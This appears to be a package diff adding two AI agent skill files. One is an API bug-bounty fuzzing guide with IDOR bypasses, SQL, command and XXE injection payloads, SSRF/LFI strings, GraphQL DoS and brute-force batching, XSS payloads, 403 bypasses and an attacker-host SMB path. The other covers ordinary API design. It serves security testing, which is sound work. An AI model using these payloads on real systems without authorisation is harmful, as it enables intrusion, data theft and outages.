skill-library-mcp 1.0.0

package/skills/api-fuzzing-bug-bounty/SKILL.md

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+---
+name: API Fuzzing for Bug Bounty
+description: This skill should be used when the user asks to "test API security", "fuzz APIs", "find IDOR vulnerabilities", "test REST API", "test GraphQL", "API penetration testing", "bug bounty API testing", or needs guidance on API security assessment techniques.
+metadata:
+  author: zebbern
+  version: "1.1"
+---
+
+# API Fuzzing for Bug Bounty
+
+## Purpose
+
+Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.
+
+## Inputs/Prerequisites
+
+- Burp Suite or similar proxy tool
+- API wordlists (SecLists, api_wordlist)
+- Understanding of REST/GraphQL/SOAP protocols
+- Python for scripting
+- Target API endpoints and documentation (if available)
+
+## Outputs/Deliverables
+
+- Identified API vulnerabilities
+- IDOR exploitation proofs
+- Authentication bypass techniques
+- SQL injection points
+- Unauthorized data access documentation
+
+---
+
+## API Types Overview
+
+| Type | Protocol | Data Format | Structure |
+|------|----------|-------------|-----------|
+| SOAP | HTTP | XML | Header + Body |
+| REST | HTTP | JSON/XML/URL | Defined endpoints |
+| GraphQL | HTTP | Custom Query | Single endpoint |
+
+---
+
+## Core Workflow
+
+### Step 1: API Reconnaissance
+
+Identify API type and enumerate endpoints:
+
+```bash
+# Check for Swagger/OpenAPI documentation
+/swagger.json
+/openapi.json
+/api-docs
+/v1/api-docs
+/swagger-ui.html
+
+# Use Kiterunner for API discovery
+kr scan https://target.com -w routes-large.kite
+
+# Extract paths from Swagger
+python3 json2paths.py swagger.json
+```
+
+### Step 2: Authentication Testing
+
+```bash
+# Test different login paths
+/api/mobile/login
+/api/v3/login
+/api/magic_link
+/api/admin/login
+
+# Check rate limiting on auth endpoints
+# If no rate limit → brute force possible
+
+# Test mobile vs web API separately
+# Don't assume same security controls
+```
+
+### Step 3: IDOR Testing
+
+Insecure Direct Object Reference is the most common API vulnerability:
+
+```bash
+# Basic IDOR
+GET /api/users/1234 → GET /api/users/1235
+
+# Even if ID is email-based, try numeric
+/?user_id=111 instead of /?user_id=user@mail.com
+
+# Test /me/orders vs /user/654321/orders
+```
+
+**IDOR Bypass Techniques:**
+
+```bash
+# Wrap ID in array
+{"id":111} → {"id":[111]}
+
+# JSON wrap
+{"id":111} → {"id":{"id":111}}
+
+# Send ID twice
+URL?id=<LEGIT>&id=<VICTIM>
+
+# Wildcard injection
+{"user_id":"*"}
+
+# Parameter pollution
+/api/get_profile?user_id=<victim>&user_id=<legit>
+{"user_id":<legit_id>,"user_id":<victim_id>}
+```
+
+### Step 4: Injection Testing
+
+**SQL Injection in JSON:**
+
+```json
+{"id":"56456"}                    → OK
+{"id":"56456 AND 1=1#"}           → OK  
+{"id":"56456 AND 1=2#"}           → OK
+{"id":"56456 AND 1=3#"}           → ERROR (vulnerable!)
+{"id":"56456 AND sleep(15)#"}     → SLEEP 15 SEC
+```
+
+**Command Injection:**
+
+```bash
+# Ruby on Rails
+?url=Kernel#open → ?url=|ls
+
+# Linux command injection
+api.url.com/endpoint?name=file.txt;ls%20/
+```
+
+**XXE Injection:**
+
+```xml
+<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
+```
+
+**SSRF via API:**
+
+```html
+<object data="http://127.0.0.1:8443"/>
+<img src="http://127.0.0.1:445"/>
+```
+
+**.NET Path.Combine Vulnerability:**
+
+```bash
+# If .NET app uses Path.Combine(path_1, path_2)
+# Test for path traversal
+https://example.org/download?filename=a.png
+https://example.org/download?filename=C:\inetpub\wwwroot\web.config
+https://example.org/download?filename=\\smb.dns.attacker.com\a.png
+```
+
+### Step 5: Method Testing
+
+```bash
+# Test all HTTP methods
+GET /api/v1/users/1
+POST /api/v1/users/1
+PUT /api/v1/users/1
+DELETE /api/v1/users/1
+PATCH /api/v1/users/1
+
+# Switch content type
+Content-Type: application/json → application/xml
+```
+
+---
+
+## GraphQL-Specific Testing
+
+### Introspection Query
+
+Fetch entire backend schema:
+
+```graphql
+{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}
+```
+
+**URL-encoded version:**
+
+```
+/graphql?query={__schema{types{name,kind,description,fields{name}}}}
+```
+
+### GraphQL IDOR
+
+```graphql
+# Try accessing other user IDs
+query {
+  user(id: "OTHER_USER_ID") {
+    email
+    password
+    creditCard
+  }
+}
+```
+
+### GraphQL SQL/NoSQL Injection
+
+```graphql
+mutation {
+  login(input: {
+    email: "test' or 1=1--"
+    password: "password"
+  }) {
+    success
+    jwt
+  }
+}
+```
+
+### Rate Limit Bypass (Batching)
+
+```graphql
+mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}}
+mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}}
+mutation {login(input:{email:"c@example.com" password:"password"}){success jwt}}
+```
+
+### GraphQL DoS (Nested Queries)
+
+```graphql
+query {
+  posts {
+    comments {
+      user {
+        posts {
+          comments {
+            user {
+              posts { ... }
+            }
+          }
+        }
+      }
+    }
+  }
+}
+```
+
+### GraphQL XSS
+
+```bash
+# XSS via GraphQL endpoint
+http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}
+
+# URL-encoded XSS
+http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E
+```
+
+### GraphQL Tools
+
+| Tool | Purpose |
+|------|---------|
+| GraphCrawler | Schema discovery |
+| graphw00f | Fingerprinting |
+| clairvoyance | Schema reconstruction |
+| InQL | Burp extension |
+| GraphQLmap | Exploitation |
+
+---
+
+## Endpoint Bypass Techniques
+
+When receiving 403/401, try these bypasses:
+
+```bash
+# Original blocked request
+/api/v1/users/sensitivedata → 403
+
+# Bypass attempts
+/api/v1/users/sensitivedata.json
+/api/v1/users/sensitivedata?
+/api/v1/users/sensitivedata/
+/api/v1/users/sensitivedata??
+/api/v1/users/sensitivedata%20
+/api/v1/users/sensitivedata%09
+/api/v1/users/sensitivedata#
+/api/v1/users/sensitivedata&details
+/api/v1/users/..;/sensitivedata
+```
+
+---
+
+## Output Exploitation
+
+### PDF Export Attacks
+
+```html
+<!-- LFI via PDF export -->
+<iframe src="file:///etc/passwd" height=1000 width=800>
+
+<!-- SSRF via PDF export -->
+<object data="http://127.0.0.1:8443"/>
+
+<!-- Port scanning -->
+<img src="http://127.0.0.1:445"/>
+
+<!-- IP disclosure -->
+<img src="https://iplogger.com/yourcode.gif"/>
+```
+
+### DoS via Limits
+
+```bash
+# Normal request
+/api/news?limit=100
+
+# DoS attempt
+/api/news?limit=9999999999
+```
+
+---
+
+## Common API Vulnerabilities Checklist
+
+| Vulnerability | Description |
+|---------------|-------------|
+| API Exposure | Unprotected endpoints exposed publicly |
+| Misconfigured Caching | Sensitive data cached incorrectly |
+| Exposed Tokens | API keys/tokens in responses or URLs |
+| JWT Weaknesses | Weak signing, no expiration, algorithm confusion |
+| IDOR / BOLA | Broken Object Level Authorization |
+| Undocumented Endpoints | Hidden admin/debug endpoints |
+| Different Versions | Security gaps in older API versions |
+| Rate Limiting | Missing or bypassable rate limits |
+| Race Conditions | TOCTOU vulnerabilities |
+| XXE Injection | XML parser exploitation |
+| Content Type Issues | Switching between JSON/XML |
+| HTTP Method Tampering | GET→DELETE/PUT abuse |
+
+---
+
+## Quick Reference
+
+| Vulnerability | Test Payload | Risk |
+|---------------|--------------|------|
+| IDOR | Change user_id parameter | High |
+| SQLi | `' OR 1=1--` in JSON | Critical |
+| Command Injection | `; ls /` | Critical |
+| XXE | DOCTYPE with ENTITY | High |
+| SSRF | Internal IP in params | High |
+| Rate Limit Bypass | Batch requests | Medium |
+| Method Tampering | GET→DELETE | High |
+
+---
+
+## Tools Reference
+
+| Category | Tool | URL |
+|----------|------|-----|
+| API Fuzzing | Fuzzapi | github.com/Fuzzapi/fuzzapi |
+| API Fuzzing | API-fuzzer | github.com/Fuzzapi/API-fuzzer |
+| API Fuzzing | Astra | github.com/flipkart-incubator/Astra |
+| API Security | apicheck | github.com/BBVA/apicheck |
+| API Discovery | Kiterunner | github.com/assetnote/kiterunner |
+| API Discovery | openapi_security_scanner | github.com/ngalongc/openapi_security_scanner |
+| API Toolkit | APIKit | github.com/API-Security/APIKit |
+| API Keys | API Guesser | api-guesser.netlify.app |
+| GUID | GUID Guesser | gist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18 |
+| GraphQL | InQL | github.com/doyensec/inql |
+| GraphQL | GraphCrawler | github.com/gsmith257-cyber/GraphCrawler |
+| GraphQL | graphw00f | github.com/dolevf/graphw00f |
+| GraphQL | clairvoyance | github.com/nikitastupin/clairvoyance |
+| GraphQL | batchql | github.com/assetnote/batchql |
+| GraphQL | graphql-cop | github.com/dolevf/graphql-cop |
+| Wordlists | SecLists | github.com/danielmiessler/SecLists |
+| Swagger Parser | Swagger-EZ | rhinosecuritylabs.github.io/Swagger-EZ |
+| Swagger Routes | swagroutes | github.com/amalmurali47/swagroutes |
+| API Mindmap | MindAPI | dsopas.github.io/MindAPI/play |
+| JSON Paths | json2paths | github.com/s0md3v/dump/tree/master/json2paths |
+
+---
+
+## Constraints
+
+**Must:**
+- Test mobile, web, and developer APIs separately
+- Check all API versions (/v1, /v2, /v3)
+- Validate both authenticated and unauthenticated access
+
+**Must Not:**
+- Assume same security controls across API versions
+- Skip testing undocumented endpoints
+- Ignore rate limiting checks
+
+**Should:**
+- Add `X-Requested-With: XMLHttpRequest` header to simulate frontend
+- Check archive.org for historical API endpoints
+- Test for race conditions on sensitive operations
+
+---
+
+## Examples
+
+### Example 1: IDOR Exploitation
+
+```bash
+# Original request (own data)
+GET /api/v1/invoices/12345
+Authorization: Bearer <token>
+
+# Modified request (other user's data)
+GET /api/v1/invoices/12346
+Authorization: Bearer <token>
+
+# Response reveals other user's invoice data
+```
+
+### Example 2: GraphQL Introspection
+
+```bash
+curl -X POST https://target.com/graphql \
+  -H "Content-Type: application/json" \
+  -d '{"query":"{__schema{types{name,fields{name}}}}"}'
+```
+
+---
+
+## Troubleshooting
+
+| Issue | Solution |
+|-------|----------|
+| API returns nothing | Add `X-Requested-With: XMLHttpRequest` header |
+| 401 on all endpoints | Try adding `?user_id=1` parameter |
+| GraphQL introspection disabled | Use clairvoyance for schema reconstruction |
+| Rate limited | Use IP rotation or batch requests |
+| Can't find endpoints | Check Swagger, archive.org, JS files |

package/skills/api-patterns/SKILL.md

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+---
+name: api-patterns
+description: API design principles and decision-making. REST vs GraphQL vs tRPC selection, response formats, versioning, pagination.
+allowed-tools: Read, Write, Edit, Glob, Grep
+---
+
+# API Patterns
+
+> API design principles and decision-making for 2025.
+> **Learn to THINK, not copy fixed patterns.**
+
+## 🎯 Selective Reading Rule
+
+**Read ONLY files relevant to the request!** Check the content map, find what you need.
+
+---
+
+## 📑 Content Map
+
+| File | Description | When to Read |
+|------|-------------|--------------|
+| `api-style.md` | REST vs GraphQL vs tRPC decision tree | Choosing API type |
+| `rest.md` | Resource naming, HTTP methods, status codes | Designing REST API |
+| `response.md` | Envelope pattern, error format, pagination | Response structure |
+| `graphql.md` | Schema design, when to use, security | Considering GraphQL |
+| `trpc.md` | TypeScript monorepo, type safety | TS fullstack projects |
+| `versioning.md` | URI/Header/Query versioning | API evolution planning |
+| `auth.md` | JWT, OAuth, Passkey, API Keys | Auth pattern selection |
+| `rate-limiting.md` | Token bucket, sliding window | API protection |
+| `documentation.md` | OpenAPI/Swagger best practices | Documentation |
+| `security-testing.md` | OWASP API Top 10, auth/authz testing | Security audits |
+
+---
+
+## 🔗 Related Skills
+
+| Need | Skill |
+|------|-------|
+| API implementation | `@[skills/backend-development]` |
+| Data structure | `@[skills/database-design]` |
+| Security details | `@[skills/security-hardening]` |
+
+---
+
+## ✅ Decision Checklist
+
+Before designing an API:
+
+- [ ] **Asked user about API consumers?**
+- [ ] **Chosen API style for THIS context?** (REST/GraphQL/tRPC)
+- [ ] **Defined consistent response format?**
+- [ ] **Planned versioning strategy?**
+- [ ] **Considered authentication needs?**
+- [ ] **Planned rate limiting?**
+- [ ] **Documentation approach defined?**
+
+---
+
+## ❌ Anti-Patterns
+
+**DON'T:**
+- Default to REST for everything
+- Use verbs in REST endpoints (/getUsers)
+- Return inconsistent response formats
+- Expose internal errors to clients
+- Skip rate limiting
+
+**DO:**
+- Choose API style based on context
+- Ask about client requirements
+- Document thoroughly
+- Use appropriate status codes
+
+---
+
+## Script
+
+| Script | Purpose | Command |
+|--------|---------|---------|
+| `scripts/api_validator.py` | API endpoint validation | `python scripts/api_validator.py <project_path>` |
+